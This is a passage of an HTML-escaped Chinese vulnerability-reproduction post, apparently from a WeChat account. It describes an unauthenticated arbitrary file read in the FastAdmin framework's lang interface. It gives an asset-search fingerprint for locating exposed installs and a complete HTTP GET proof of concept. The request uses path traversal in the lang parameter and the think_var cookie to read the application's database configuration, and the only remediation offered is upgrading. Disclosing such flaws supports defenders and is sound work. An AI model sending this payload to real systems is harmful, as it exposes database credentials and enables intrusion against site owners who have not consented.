Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000545&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222956177090659644823.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1080&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;03&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;FastAdmin&lt;/span&gt;&lt;span style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;后台框架&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;开源且可以免费商用，一键生成&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;CRUD&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;,FastAdmin&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;是一款基于&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;ThinkPHP&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;和&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;Bootstrap&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;的极速后台开发框架，基于&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;Auth&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;验证的权限管理系&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;统,一键生成&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;CRU&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;D&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;,自动生成控制器、模型、视图JS&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;、语言包、菜单、回收站等。&lt;/span&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;0&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;FastAdmin框架的&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;lang&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;接口存在任意文件读取漏洞，该漏洞允许未授权攻击者通过构造特定请求读取系统敏感文件，如数据库配置文件、系统配置文件等。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;04&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;ini&quot; style=&quot;pointer-events: initial;&quot;&gt;body=&amp;quot;/assets/js/require.js&amp;quot;&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222956177090659628192.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000546&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;05&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;apache&quot;&gt;GET&amp;nbsp;/index/ajax/lang?lang=../../application/database&amp;nbsp;HTTP/1.1Host:&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:146.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/146.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeCookie:&amp;nbsp;think_var=..%2F..%2Fapplication%2Fdatabase;&amp;nbsp;PHPSESSID=m0lgoj6m4hovmtisu1868cc8h5Upgrade-Insecure-Requests:&amp;nbsp;1Priority:&amp;nbsp;u=0,&amp;nbsp;iPragma:&amp;nbsp;no-cacheCache-Control:&amp;nbsp;no-cache&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222957177090659760876.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000547&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;color: #000000;font-weight: normal;&quot;&gt;升级到安全版本&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;7 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-from=&quot;0&quot; 